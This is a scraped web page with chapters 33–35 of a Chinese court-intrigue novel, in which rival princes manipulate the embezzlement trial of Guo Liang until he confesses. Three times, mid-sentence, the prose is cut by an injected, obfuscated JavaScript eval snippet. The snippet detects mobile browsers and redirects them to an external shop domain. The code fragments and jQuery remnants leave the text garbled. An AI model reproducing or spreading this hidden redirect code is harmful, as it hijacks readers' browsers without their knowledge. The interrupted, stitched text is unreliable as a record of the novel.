;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827554|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身,步履无声地,走回了御书房。 * 秦王府,汤池之内,热气氤氲。 赵玄褪去一身朝服,赤着上身,靠在温热的池壁上,任由那暖流缓缓浸润着连日奔波而疲惫不堪的筋骨。水珠顺着他流畅而结实的肌肉线条滑落,没入水中,漾开一圈圈细微的涟漪。 他闭着眼,脑海中却不由自主地,浮现出数日前,在朔津官驿与白逸襄辞别时的情景。 那夜,亦是这般寒风料峭。 白逸襄因前夜被他留于营中共商大事,所以在天子诏令下来的时候,白逸襄刚好也在营中,赵玄正急速准备回京事宜,白逸襄却来求见。 赵玄见他又添了几分憔悴,便道:“此番回京,路途遥远,先生可与我等同行?路上也好有个照料。” 白逸襄恭敬道:“殿下,在太子看来,我此时应当是与韩王殿下去江南找龙四了,又怎能出现在你的车帐之中?” 赵玄道:“我们可以入城之前分开。” “这样不稳妥,殿下先行便是。”白逸襄说着抬起手,比了个三的手势,笑道:“臣有三策献于殿下。” 赵玄眼睛一亮,又是三策? 他见白逸襄已然嘴唇开合,便认真听了起来。 “其一,入京之时,殿下当与太子殿下错开。太子车驾必是仓皇急切,殿下则当缓行,将最后一批流民亲自护送至京郊安置点,以彰仁德。” “其二,面圣之时,切莫提及自己在朔津的半分功劳,只呈上那份《善后六条》,为灾民请命。陛下问起,便只说我替太子督办你治水,也曾为你出谋划策。” “其三……陛下种种问题,殿下只需如实奏报,若是说你性情秉直,你顺势认下,诚恳受教便可。如此,方合‘纯臣’之道,可消陛下心中疑虑。” 赵玄收到诏令直至此刻,虽已有考量,与白逸襄所献之策出入不大,但他没想到白逸襄已将父皇的心思也揣摩到了极致。 又因入京后发生的种种事情,让赵玄再次感叹,白逸襄,真是深不可测啊…… …… 沐浴过后,赵玄换上中衣,于案前晚读,当他听到一阵极其细微的风声,抬眼便见一道黑影已立于案前。 “主人。” 赵玄皱眉道:“无人的时候,不要再这样称呼我了。” 影十三道:“不刻进骨子,日后难保不会出纰漏。” 又是这句话。 影十三跟着他之前,他也不知道暗卫到底怎么养,反正暗卫的事情,全都交给影十三做了,他一直也做的很好,甚至还组建了一个暗卫队,被其称为‘玄影卫’。 赵玄看了看影十三,道:“好吧,随你。” 影十三道:“禀报主人,紫烟刚刚传话过来,丽贵人的事,有线索了。” 神态略显松散的赵玄下眼睑微不可见的眯了眯,问道:“什么线索?” “当年涉事的太监还有一个人活着。” “他在哪?” “他在高阙镇。” “高阙?”赵玄想了想,“那不是在鲜卑境内?” 影十三点头“嗯”了一声,赵玄又道:“有办法把他带来吗?” “紫烟已经派人去办了。” 影十三办事一向滴水不漏,赵玄没有多做嘱咐,只知道:“切勿惊扰了那些胡人。” “是!” 影十三得令后消失在赵玄的寝宫,赵玄手持书卷,盯了半晌,却是一个字也没有看进去。 33.第 33 章 偏殿之内,赵渊立于一幅巨大的“江山舆图”前,手中捏着一卷书,神情专注。 一身武将朝服的定远侯陈烈,跪伏于地,声音洪亮:“启奏陛下,郭亮一案,如今已是京城流言之渊薮,民心浮动。臣恳请陛下恩准,由臣亲自督办此案,雷霆彻查,方能尽快肃清朝野,安定民心!” 赵渊的目光依旧停留在舆图上,并未回头,只是淡淡地道:“文功,你乃国之柱石,军之砥柱,为何有闲情去理会这等刑名俗务?” 陈烈眼珠动了动,继续道:“陛下,郭亮乃散骑常侍,其罪若不能明正典刑,恐天下人非议皇室,于陛下清誉有损!臣身为外戚,更当避嫌于前,严办于后,方能彰显陛下大公无私!” 赵渊终于缓缓转过身,那张素来喜怒不形于色的脸上,仍然看不出太多情绪。他踱步至御案前,拿起一份早已拟好的名册,并未言语,只是提起案上的朱笔。 一旁的中常侍靳忠连忙上前,小心翼翼地为皇帝磨墨。他垂着眼帘,眼角的余光却瞥见,皇帝执笔的手,在空中微微一顿。 这个细微的停顿,让靳忠的心也跟着悬了起来。 朱笔落下,在名册上缓缓圈点。 靳忠的眼角余光飞快地扫过那几个墨迹未干的名字,心中瞬间了然。他那张布满褶皱的脸上,神情愈发恭顺,头也垂得更低了。 “传旨吧。”赵渊放下朱笔,声音平淡。 靳忠躬身接过名册,转身面向陈烈,展开诏令,用他那独特的、沙哑又尖细的嗓音宣读道:“奉天承运,皇帝诏曰:散骑常侍郭亮一案,着吏部侍郎张济为主审,长史李默为副审……刑部比行郎中①,林肃,与审。” 陈烈双肩不易察觉地一僵。 张济,是六皇子楚王赵奕的恩师!李默,虽是他亲外甥晋王赵辰的心腹,可主审之位旁落,这分明是不信任他陈家! “陛下!”陈烈一时情急,脱口而出,“臣……不解!” 赵渊似是有些疲乏,朝靳忠招了招手,靳忠连忙把手递了过去,赵渊扶着他的手站了起来,他背过身体,摆了摆手,“此事就这么定了。你即刻传旨,让他们速速会审,不得有误。” 陈烈的话尽数堵在了喉咙里。他将满腔的不甘与愤懑压下,叩首领命:“臣……遵旨。” * 长乐宫内,珠帘翠幕,熏香缭绕。一身华贵宫装的陈贵妃正斜倚在软榻上,对着一面巨大的抛光铜镜,由宫女小心翼翼地为她簪上一支新进贡的七宝琉璃簪。琉璃在光下流转着炫目的华彩,但她秀眉微蹙,似乎总觉得有那么一丝不完美。 见陈烈面色不善地进来,她懒洋洋地抬了抬眼皮,对着镜中的兄长抱怨道:“兄长来得正好,瞧瞧这簪子,说是西域来的奇珍,我看也不过如此,戴着总觉得俗气。” 陈烈此刻并无心思与她品评首饰,他屏退左右,声音压得极低:“事情出了点纰漏。” 陈贵妃顿了顿:“郭亮那案子?” 陈烈将方才在偏殿的遭遇简要一说,重点点了三个主审的名字。 陈贵妃听罢,顿时不悦的把簪子扔在了一旁,道:“昨夜的恩宠,今日便忘得一干二净了?” “哎,那倒不至于。”陈烈道:“我最初也觉得奇怪,后来想了想,陛下此举,应当意在制衡,否则,副审之位,便也不会落在李默头上。” 陈贵妃闻言,紧绷的神情稍稍松弛。她深吸一口气,道:“兄长说的是,可主审之位给了张济,这口气,本宫咽不下。这不明摆着是让老六的人,骑在我儿子的头上吗?” “此一时,彼一时。”陈烈走到她身侧,声音愈发沉稳,“眼下最大的敌人,是东宫。张济这把刀,我们非但不能挡,还要帮着磨得更锋利些。” 他看着妹妹眼中闪过的不解,继续道:“陛下想看一出三王争储的好戏,那我们就陪他演。但戏台怎么搭,唱什么调,得由我们说了算。娘娘,您立刻传话给李默,让他记住。” “明面上,要捧着张济,让他去做那把最快的刀,将所有罪证都往太子身上引。我们的人,只需在旁敲边鼓,做出个同仇敌忾的姿态便可。” “那林肃呢?”陈贵妃精准地抓住了问题的关键,“我可听闻,此人是块难啃的硬骨头,怕是不好糊弄。” “难啃,才好用啊。”陈烈的嘴角勾起一抹深沉的冷笑,“正因他只认国法,不认人情。陛下才把他安进来,好敲打这些人。” 他顿了顿,眼中闪过一丝精光:“你传话给李默,对林肃,要比对张济还要恭敬。所有案卷,所有证词,都要第一时间‘请’他过目。我们要让他亲眼看到,所有的线索,是如何一步步、天衣无缝地指向东宫。我们要让他用最‘公正’的手段,查出我们想让他查出的‘真相’。” 陈贵妃渐渐漾起一丝了然的笑意,她重新拿起那支琉璃簪,语气恢复了轻快:“我明白了。我们不与他为敌,我们要做他查案路上最得力的‘帮手’。让他自己心甘情愿地,将太子钉死在罪状上。” “娘娘睿智。”陈烈微微颔首,“扳倒了太子,辰儿便能名正言顺地更进一步。至于楚王……没了太子这个阻碍,我们有的是时间慢慢对付他。” 陈贵妃露出笑意:“好,宫里的事,本宫自有分寸。宫外,就全靠兄长运筹了。” 陈烈道:“娘娘只需固宠,稳住陛下。只要圣心不移,外面的天,就塌不下来。” * 楚王府,静心书斋。 一缕轻烟,自博山炉的镂空处袅袅升起,那是名贵的沉香,气味清雅而悠远,将整间书房都浸染出几分出尘的静谧。 窗外,几竿修竹在微风中轻轻摇曳,光影透过糊着素色蝉翼纱的窗格,在光洁如镜的金丝楠木地板上投下斑驳的陆离。 六皇子赵奕,今日只着了一身月白色暗纹宽袖长袍,墨发用一根简单的玉簪束起,整个人宛如一幅淡墨山水画,俊秀风雅,却又透着一丝不易察觉的疏离。 此刻,他正专注地坐在茶案前。 案上,摆着一套越窑青瓷茶具,釉色秘青,温润如玉。他手执一把古朴的陶釜,手腕轻旋,将釜中滚沸的汤水稳稳注入茶盏,霎时间,茶香四溢。他的动作行云流水,优雅得无可挑剔。 在他对面,端坐着一位须发微白,面容清癯的老者。此人正是当朝国子祭酒,帝师裴昶。他双目微阖,仿佛在闭目养神,实则全部心神都沉浸在这满室的茶香与静谧之中。 直到赵奕将第一杯琥珀色的茶汤,用双手恭敬地奉至他面前,他才缓缓睁开眼。 “老师,这是府中厨娘新酿花茶,别有一番风味,您老尝尝。”赵奕的声音温润清朗,带着晚辈对师长的十足敬意。 裴昶并未立刻接过,而是先深深地看了一眼自己这位最得意的学生。他看到的是一张温和谦恭的脸和一双与皇帝相似的双眼。 他心中暗叹一声,这才伸出略显干枯的手,接过那小小的青瓷盏,轻呷了一口。甘醇的花香瞬间在唇齿间弥漫开来。 “确实别有一番风味。”裴昶放下茶盏,抚了抚颌下的长须,语气平缓地开口,“只是不知,殿下的心,是否还能如这茶汤一般,清澈安宁?” 这看似闲谈的一句话,瞬间点破了平静的表象。 赵奕提起陶釜,为自己斟上一杯,他用指尖轻抚着温热的盏壁,嘴角缓缓勾起一抹自得的弧度。 “老师说笑了。”他轻声道:“‘东风习习,吹彼春池。池水澹澹,乃生涟漪。’可那风,终究是过客,这池水,最终还是要听从主人的心意。” 裴昶眼中闪过一丝赞许。 “陛下此番安排,三位主审,如三足之鼎,真是意味深长啊。”裴昶顺着他的话,将话题引向了正轨。 “父皇的心思,本王自然明白。”赵奕的目光落在盏中轻轻晃动的茶汤上,“太子失德,早已是悬在东宫头顶的一把利剑,只待一个落下的时机。父皇将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837163|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张尚书推上主审之位,便是将这执剑之权,交到了文臣清流的手中。这是信任,亦是期许。” 裴昶点了点头,“正是,让晋王府那个莽夫李默做副审,不过是扔根骨头,安抚一下军方势力罢了。明眼人都看得出,在陛下的心中,殿下的分量,早已将晋王远远甩在了身后。” “只是……”赵奕双眼微微眯起,掠过一丝冷光,“那林肃,却像是一颗掺进米饭里的沙子,硌得慌。” 裴昶闻言,发出一声低沉的轻笑。 “殿下,你看错了。”他端起茶盏,悠然道,“这粒沙子,非但不是阻碍,反而是我等手中最好用的一把利器啊。” 赵奕眉梢一挑,饶有兴致的问:“哦?老师有何高见?” 裴昶道:“正因有此人在,我等才更要将此案办成一桩无可指摘的‘铁案’!我们不必去收买他,更不必去恐吓他,只需在审案之时,将所有对东宫不利的证据,都‘不经意’地送到他的面前,让他自己去查,自己去看,自己去想。” 他顿了顿,“届时,由他这位陛下最信任的‘直臣’之口,亲手将太子的罪状一一剖开,血淋淋地呈于御前。你说,是他一句话的分量重,还是我等说上一百句的分量重?” 赵奕听罢,神色豁然开朗,他再次为裴昶斟满一杯茶,然后举起自己的茶盏,隔空遥遥一敬。 “老师之言,茅塞顿开。本王得老师相助,真乃神兵天降也!” 裴昶听后捻了捻胡须,淡淡一笑。 * 一日晌午,白逸襄收到了秦王的邀请,来到竹林馆。 侍从引着白逸襄,穿过曲折的回廊,最终停在一间雅室前。门被无声地推开,一股混杂着木料清香与醇厚炭火的暖气,瞬间驱散了廊外的微寒。 “知渊先生,殿下随后便至,请您稍作等候。” “有劳了。”白逸襄颔首步入,身后的门被轻轻合上。 白逸襄缓步环顾这间雅室,初看之下,竟有些“朴素”。 虽说朴素,却能感受到一种内敛的威仪。地面中间铺着厚实无声的西域驼绒地毯,踩上去,连脚步声都被尽数吞没。角落里,一尊半人高的三足夔龙纹铜炉,正静静地吐着热浪,炉中燃烧的,是宫中特供、价比黄金的银霜炭,无烟无味,只余纯粹的暖意。 墙边,是一整面紫檀书架,那深沉的色泽仿佛沉淀了千百年的时光。架上并非寻常的装饰性藏书,而是密密麻麻的卷宗与书册,经史子集、兵法韬略、乃至各州郡的地理图志,许多书册的边缘都有着细微的磨损与翻阅的痕迹。 白逸襄凤目不由得睁大了几分,接着微不可见的点点头。 他的目光掠过一张宽大的书案。案上,一张澄心堂纸铺展开来,上面的墨迹尚未完全干透,笔锋凌厉,铁画银钩,隐约可见“经略”、“漕运”等字眼。 他心中微动,旋即垂下眼帘,移开了视线。 他又被窗边的一张古琴吸引了注意,快步走了过去。 那是一张仲尼式古琴,通体呈现出一种深邃的栗壳色,琴面之上,蛇腹断纹与流水断纹交错,如龙鳞凤羽,美不胜收。白逸襄自然也是爱琴之人,一眼便认出,这应是前朝名家所制的珍品。 白逸襄面露喜色,撩起袍子,缓缓坐下,指尖轻拂过冰凉而温润的琴弦,试探性地一拨。 “叮——” 一声清越的泛音,如空谷足音,瞬间在这静谧的房间里漾开。 琴音绝佳。 白逸襄不再犹豫,沉心静气,信手弹奏起来。 琴音时而激越,时而舒缓,仿佛能看见秋江之上,天高云阔,雁群回翔,最终安然栖于沙洲的景象。那份超然物外的萧疏与安逸,正是他此刻心境的写照。 一曲将毕,余音袅袅,门口却传来一声带着笑意的赞叹: “先生一曲《平沙落雁》,风清云淡,意境高远,倒是让本王这俗世之人,也生出了几分归隐之心。” 34.第 34 章 琴声戛然而止。 白逸襄闻声立刻起身,转身长揖,“殿下谬赞。臣班门弄斧,扰了殿下清静,还望恕罪。” 赵玄快步走来,亲自将他扶起,“何谈叨扰?能于此偷得浮生半日,聆听先生一曲,是本王的福气。” 赵玄身上虽穿着黑色常服,又卷进了屋外许多凉意,但他脸上却闪着耀目的笑容,显得光明且威严。 暗与光的强烈对比下,更凸显其俊美非常,不似凡间之人。 赵玄十分有礼,目光未在白逸襄身上多做停留,只是略作打量,便将其常年不变的朴素着装收入眼底。 他引着白逸襄走向一旁的茶塌,道:“方才侍卫有要事来报,耽搁了片刻,先生勿怪。” 两人在铺着厚实软垫的茶塌上相对而坐。一名身姿窈窕的侍女悄然上前,以一套精致的建窑天目盏,行云流水般地开始注水、温杯、置茶、冲泡。很快,一股清冽的茶香便在暖室中弥漫开来。 待侍女奉上第一道茶,赵玄摆手让侍女退下后,才不疾不徐地开口,“看先生气色,身体应是大好了?” 白逸襄拱手道:“全赖殿下关怀,臣已无大碍。” 赵玄时不时的送来珍贵药材,又让影十三暗中给他施针,虽然难熬,却有奇效,身体肉眼可见的好转。 身体好,才能活的久,他见到了好处,自然也更加配合影十三。 只是,给他针灸的,是个满身杀气的男人,却总是无法让他习惯。 换成紫烟才更好,但影十三说紫烟在执行任务,短时间内都不会回洛阳了。 赵玄道:“那真是太好了,先生的身体,关系着社稷与万民,自然是马虎不得。” 白逸襄恭敬道:“殿下亦是如此。” 赵玄听闻此言,顿时发出爽朗的笑声,眼下的卧蚕也跟着鼓了起来。 这是白逸襄第一次看赵玄大笑,中气十足,阳气十足,白逸襄觉得,不出意外,这位皇子至少能活到80岁。 这是大靖之福,亦是他白逸襄之福。 两人对饮了几盏茶,寒暄了几句之后,赵玄神色渐渐收敛,转入了正题,他道:“宫里刚传出消息,父皇为郭亮一案,钦点了三位主审。” 白逸襄端起茶杯的动作微微一顿,随即道:“主审是吏部尚书张济。” 赵玄道:“这位张尚书,在朝中一向与六弟走得颇近。”他端起茶杯,用杯盖轻轻撇去浮沫,深邃的眼神透过氤氲的茶气,看向白逸襄,“副审,则是御史李默。他背后站着的是谁,我想先生应当清楚。” 白逸襄点头,此人虽不曾在朝堂上公然支持四皇子赵辰,却与赵辰的支持者五兵尚书周奎是亲戚。 “只是这最后一人……”赵玄放下茶杯,嘴角勾起一抹玩味的弧度,“父皇用得颇有深意——比行郎中,林肃。” 白逸襄道:“张尚书是明枪,李御史是暗箭,这两者都是射向东宫的。而林肃,既非枪,也非箭。” 赵玄眼睛微亮,道:“哦?何解?” “林肃是陛下放在棋盘上的一枚‘定子’。此人刚正不阿,油盐不进,有他在,这案子便不会沦为纯粹的党同伐异,至少在明面上,会是一场无可指摘的铁案。陛下要的,不只是一个结果,更是一个能昭告天下、堵住悠悠众口的‘公道’。” “陛下此举,一石三鸟。既能借晋王与楚王之手惩治太子党郭亮,又能让林肃这块‘镇石’压住阵脚,不至于让朝局彻底失控。最妙的是,还能让三方在案前互相掣肘,彼此消耗。” 赵玄脸上那丝笑意彻底绽放开来,他亲自提起桌上的茶壶,为白逸襄续上茶水,“先生与我想到一处去了。” “殿下英明。”白逸襄拱手施礼,缓缓道:“会审还需要些时日,这是一段难得的悠闲时光,殿下可以趁此机会,好好修养。因为接下来,会有一场接一场的硬仗,等着我们。” 赵玄脸上的笑渐渐收敛,他比谁都清楚,接下来的路有多难走。 但他也前所未有的笃定和自信,眼前这位向自己称臣的男人,正在为他所用。 他不管对方是何来历何等心思,只要被他赵玄看上的人,那便只能为他所用。 赵玄缓缓将茶壶放回原处,像是忽然想起了什么,对白逸襄道:“对了,前几日西域部落进贡了一批上好的‘香料’,气味清冽,有凝神静心之效。父皇赏了我一些,我留着也无大用。待会让人给你送到府上,你平日里看书劳神,点上一些,再好不过。” 白逸襄没有推拒,起身对赵玄深深一揖,“殿下厚爱,逸襄愧领了。” 赵玄也跟着起身,抓住了白逸襄的手,道: “知渊,你我之间,不必如此。来,再为我弹奏一曲可好?” 白逸襄岂敢推拒?便由着赵玄拉他坐在古琴前,为他弹了一首又一首。 * 刑部大牢,天字号囚室。 四壁阴翳潮湿,墙角生着暗绿的苔痕,空气中弥漫着一股经年不散的霉腐与血腥混合的气息。唯一的通风口在高墙之上,透进几缕微光,却更显室内昏暗。 散骑常侍郭亮,此刻依旧一袭家常的绛紫色锦袍,虽略有脏污及褶皱,但安然坐于一张草席之上,面前摆着一方案几,仿佛不是在受审,而是在自家书房小憩。 吏部尚书张济背手立于他面前,那张素来以清正闻名的脸上,此刻已是青筋隐现。他身后的副审李默与堂下几名吏员,皆是正襟危坐,已被刚才张济与郭亮的一番唇枪舌剑,搞得焦头烂额。唯有角落里的比行郎中林肃,面色如常,静立于阴影之中,仿佛一尊没有情绪的石像。 “郭常侍,”张济的声音已有些沙哑,强压着怒火,“本官问你最后一遍,朔津郡贪墨一案,你招是不招?” 郭亮缓缓抬起眼皮,那双浑浊的眼睛里,漾起一丝讥诮的笑意,懒洋洋地道:“张尚书,你我相识于微末,同在郡学校书之时,你便常说,为官者,当‘察言观色,洞若观火’。如今你身居高位,怎的反而连这点眼力都失了?” “你!”张济气得须发戟张。 郭亮这才将目光转回,慢条斯理地整了整衣袖,“尚书大人官威赫赫,何必在此与我这待罪之人消磨辰光?有罪无罪,岂是你我说了算的?你我不过都是棋盘上的卒子,真正落子的手,你我都得罪不起。” 张济摆了摆手,“我不与你争辩,陛下下令三日内了结此案,你既然念及同僚之谊,那便痛痛快快的招了,莫要让我为难啊。” 郭亮冷哼一声,转身面向墙壁,任由张济和李默怎么盘问,都不再答话了。 张济怒极道:“看来郭常侍是不见棺材不落泪了!来人!上刑!” 堂下两名如狼狱卒闻声而动,手中水火棍“哐当”一声顿地,正欲上前。 “且慢。”一个清澈沉稳的声音自角落响起。 众人循声望去,只见那一直默然不语的比行郎中林肃,走了过来。他年纪轻轻,身形清瘦,面容也很普通,唯有一双眼睛,黑白分明,锐利如鹰。 “张尚书,”林肃对着张济微微一揖,“陛下有旨,此案干系重大,需以证为本,以律为纲。在人证物证尚未厘清之前,不可妄动私刑,以免屈打成招,有损国法威仪。” 林肃凑过去,在张济耳边小声道:“大人,郭常侍乃朝廷重臣,官居三品,按大靖律令,五品以上官员,未判刑之前,不可动刑。” 张济看着眼前这个官阶远低于自己的下属,又看了看他那双不带任何情绪的眼睛,心底升起一丝不悦,但碍于他是陛下钦点之人,张济也不敢驳他面子。 “哼!”张济胸中一口恶气无处发泄,最终化为一声冷哼。他再次重重一甩袍袖,转身离去,李默也紧随其后离开。 囚室内,再次恢复了死寂。 林肃并未理会离去的张济,也未看那依旧安坐的郭亮。他只是走到案前,对着几名书吏温声道:“将所有卷宗,都搬上来。” 数名书吏应声而动,很快,一摞摞码放得整整齐齐的卷宗、账册、图纸,便被搬了进来,如筑墙一般,将郭亮面前的案几三面合围。那泛黄的纸张散发出陈年的墨香与尘土气息,无声地构建起一座文字的囚笼。 林肃亲自从一个木匣中,取出一支细长的“百刻香”,插入案几一角的香炉中,点燃。一缕极细的青烟,笔直地升起,在昏暗的光线中,如同一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846072|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道无情的刻度,开始缓缓度量着余下的光阴。 做完这一切,他才在郭亮对面坐下,目光平静地注视着他。 “郭大人,审讯并非定罪,你不用紧张。” 那是一副难得的好嗓音,郭亮闻言,转身看向林肃,见他样貌平平无奇,随即又是一丝冷哼,别过脸去。 林肃继续道:“未定案之前,什么可能都有,这些账目,有可能是别人处心积虑伪造,而那些证人,也可能是受人指使,构陷忠良。” 郭亮眉头微不可见的动了动,林肃继续道:“您放心,下官奉皇命而来,绝不容宵小之辈蒙蔽圣听。下官一定会为您查个水落石出,还您一个清白。” 林肃简简单单几句话,便让郭亮心中翻江倒海。 这人是皇帝钦点的。 皇帝老儿到底是准备严办,还是想要通融? 天下皆知皇帝最心爱之人便是郭皇后,皇后仙去,后位一直虚悬,便是铁证。 太子是皇后的长子,陛下绝不会因太子一时之过将其废黜。 而自己,虽身为皇后的弟弟,他却并不认为皇帝会顾念旧情,毕竟从赵渊还没登基之前,就不怎么瞧得上自己。 自己现在唯一的突破口,便是太子了。 只要太子肯开口为自己求情,那便还有一线生机。 郭亮的神色略有松动,却仍旧不发一言,林肃并不着急逼问,他朝狱卒摆了摆手,狱卒搬起卷宗跟着林肃退了出去。 晚间,狱卒前来送饭,郭亮突然跳了起来,把腰间镶金戴玉的腰带塞给了狱卒,狱卒似乎与他早有金钱往来,很有默契的收下,并附耳过去。 郭亮与狱卒如此这般细说一番,狱卒便匆匆离去,三日后,一人前来狱中探望郭亮,与郭亮交谈了半晌。 郭亮听罢,跌坐在地,彻底没了生机。 原来他买通狱卒,是让对方遣常侍府的心腹管家,携带重金与密信,前往东宫求见太子。 然而,今日管家入狱探视时,带回的,却是令他绝望的消息。 太子因青州之事,已被陛下敕令闭门思过,东宫内外,皆由禁军看管,任何人不得出入,管家对看门的人利以重金,却无人肯收,他的管家还被暴打了一顿。 连太子都自身难保了,还有谁人会理会他的死活? 郭亮整个人仿佛被抽走了精气神,瘫坐在冰冷的草席上,双目无神地盯着墙角那一方窄小的天窗。 “哐当——” 狱卒从门下的小窗送进了晚饭,一只破旧的木碗,里面是粗粝的粟米饭,上面盖着几根蔫黄的菜叶。 这刚过了三天,狱卒便已忘记他之前给的钱财,足够他们这些下等人下半辈子的生活,昨日或许是从管家那里了解到自己的处境,才又这样落井下石,真是一群喂不熟的狗东西! 郭亮猛地抬脚,将那木碗狠狠踹翻在地。米饭混着污水,溅得到处都是。 “滚!”他喉间发出一声困兽般的低吼。 就在此时,囚室最深沉的黑暗中,毫无征兆地响起一个清冷的男声,那声音不大,却如玉石相击,穿透了霉腐的空气,清晰地传入郭亮的耳中: “郭常侍锦衣玉食惯了,想来是咽不下这等糟糠之食。只是,不知这地牢里的风骨,又能值几钱?” 郭亮浑身一僵,猛地循声望去。 只见一道身影,自那光线无法触及的阴暗处,负手缓步而出。他的步履不疾不徐,每一步都仿佛踏在人心最紧张的鼓点上。随着他越走越近,天窗透下的那几缕微光,才一点点地勾勒出他的轮廓。 来人身着一袭灰白相织的宽袖长袍,边缘以银线绣着繁复的云纹,头戴一根简单的玉簪,他身形清瘦,姿态优雅,却非文弱,而是一种久经涵养的从容。待他完全走到光下,郭亮才看清他的面容——那是一张清秀的,甚至带着几分阴柔的脸。最令人心悸的,是他那双眼睛,明明含着一丝若有若无的笑意,却让人感觉不到半分暖意,只有凉薄的审视。 那双眼睛与赵渊一模一样! 郭亮虽不情愿,却被一股上位者的威压牵制,本能起身,揖了一礼:“罪臣郭亮,参见楚王殿下。” 35.第 35 章 郭亮虽表面恭敬,心中却已掀起惊涛骇浪。 这位以“温润”闻名的六皇子,此刻给他的感觉,竟比刑部那些如狼似虎的酷吏,还要危险百倍。 赵奕只微微抬了抬下巴,侍从便会意地将带来的食盒打开。侍从取出几样精致的小菜和一壶温好的清酒,摆在郭亮面前那张满是划痕的案几上。 赵奕道:“郭常侍,本王今日来,不为审案,只为给你讲个故事。” 郭亮僵了一下,我不听可以吗? 这个节骨眼过来,他还能不明白他想干什么? 郭亮一脸纠结,赵奕却不管他,自顾自地道:“从前,京中有一位高官,与常侍一般,位高权重。他娶的妻子,出身当世顶级的门阀,性情悍妒,门楣极高,不许他纳一房妾室。偏偏这位夫人多年无所出,这位高官眼看自己这一脉就要断了香火。” “这位大人,不敢忤逆悍妻,却色胆包天。他竟然强占了自己妻子的亲侄女,一个年方二八的妙龄少女。不出两年,那女子为他诞下了一子一女。他便将那外室与一双儿女,偷偷养在城郊的一处庄子里,自以为神不知鬼不觉。” 说到此处,赵奕停顿了一下,转身看向了已经抖如筛糠的郭亮,“郭常侍,你此番贪墨国帑,罪证如山,已是在劫难逃。若你肯主动招供,为朝廷揪出背后主使,本王尚可念你一份旧情,在父皇面前为你求情,保你不死。可你若执迷不悟……” 他缓缓站起身,居高临下地看着郭亮,那月白色的身影投下一片巨大的阴影,将郭亮完全笼罩。他俯下身,用只有两人能听见的声音,如魔鬼般低语: “你那位夫人,知道了你在外面不仅养了小的,还是她的亲侄女,以她那容不得半点沙子的性子……你猜,你那庄子里的外室,和你那一双还不知人事的孩儿,会是什么下场?” “就算你那悍妻没有杀死你一双孩儿,你此番罪责,也是难逃株连之罪!” 听到此话,郭亮再也承受不住,跌坐在地。 赵奕见目的达到,并未多做停留,转身离开。 而郭亮则保持着原来的姿势,在囚室中枯坐了一夜,次日,天光微亮,比行郎中林肃再次踏入这间囚室。 他未带任何卷宗,只是静静地在郭亮对面坐下,亲自为他斟了一杯尚有余温的清茶。 郭亮缓缓抬起头,浑浊的眼睛里再无半分倨傲,只剩下灰败的死寂。他嘴唇翕动了几下,终于发出了第一个沙哑的音节。 “我……说……” * 太和殿内。 百官垂首,立于殿下,连呼吸都放得极轻,生怕惊扰了御榻上的赵渊。 赵渊面前,摆着林肃呈上的、郭亮亲笔画押的供状。 “把太子带上来!”赵渊的声音不大,却如静界碎冰,响彻整个大殿。 皇帝一声令下,没多久,太子便被从东宫带到了太和殿外。 他脸色苍白,身形微微颤抖,快步走到殿中,“扑通”一声跪倒在地。 “儿臣……儿臣在!” “你还有脸自称儿臣!”赵渊猛地将那份供状掷于地上,竹简散落,滚到了太子的脚边。“你看看!这就是你倚为肱骨的舅舅!结党营私,卖官鬻爵,侵吞盐铁官帑!桩桩件件,哪一件不是抄家灭族的死罪!你告诉朕,这里面,可有半句是冤枉?!” 赵钰捡起一卷竹简,只看了一眼,便吓得魂飞魄散。他重重地叩首于地,声音里带着哭腔:“父皇!儿臣冤枉!儿臣对这些事……毫不知情啊!定是郭亮那厮,为求活命,血口喷人,意图攀诬儿臣!” 他话音刚落,侍中魏伦立刻出列,跪伏于地:“陛下!太子殿下仁厚纯良,素来不善俗务,定是为郭亮这等奸佞小人所蒙蔽!请陛下明察!” 紧接着,东宫一派的官员纷纷出列,黑压压地跪倒一片。 “陛下,郭亮之罪,天地不容!然其罪不至死,恳请陛下念其为先皇后之弟,又是朝中元老,从轻发落!” “陛下,太子殿下虽有失察之过,然其心至纯,绝无半分不臣之心啊!” 求情之声,此起彼伏。 就在此时,晋王赵辰自队列中踏出,他对着高踞御榻赵渊一抱拳,直接打断了那些求情之声:“父皇!盐铁乃国之命脉,郭亮侵吞官帑,如同吸食国家骨血!此等国之蠹虫,若不严惩,何以正国法,何以安天下!儿臣恳请父皇,将郭亮明正典刑,夷其三族!” 赵辰身后的五兵尚书周奎亦随之出列,声色俱厉地附和道:“晋王殿下所言极是!此等巨贪,留之何用?今日能吞盐铁之利,明日便敢卖国通敌!请陛下下旨,立斩不赦!” 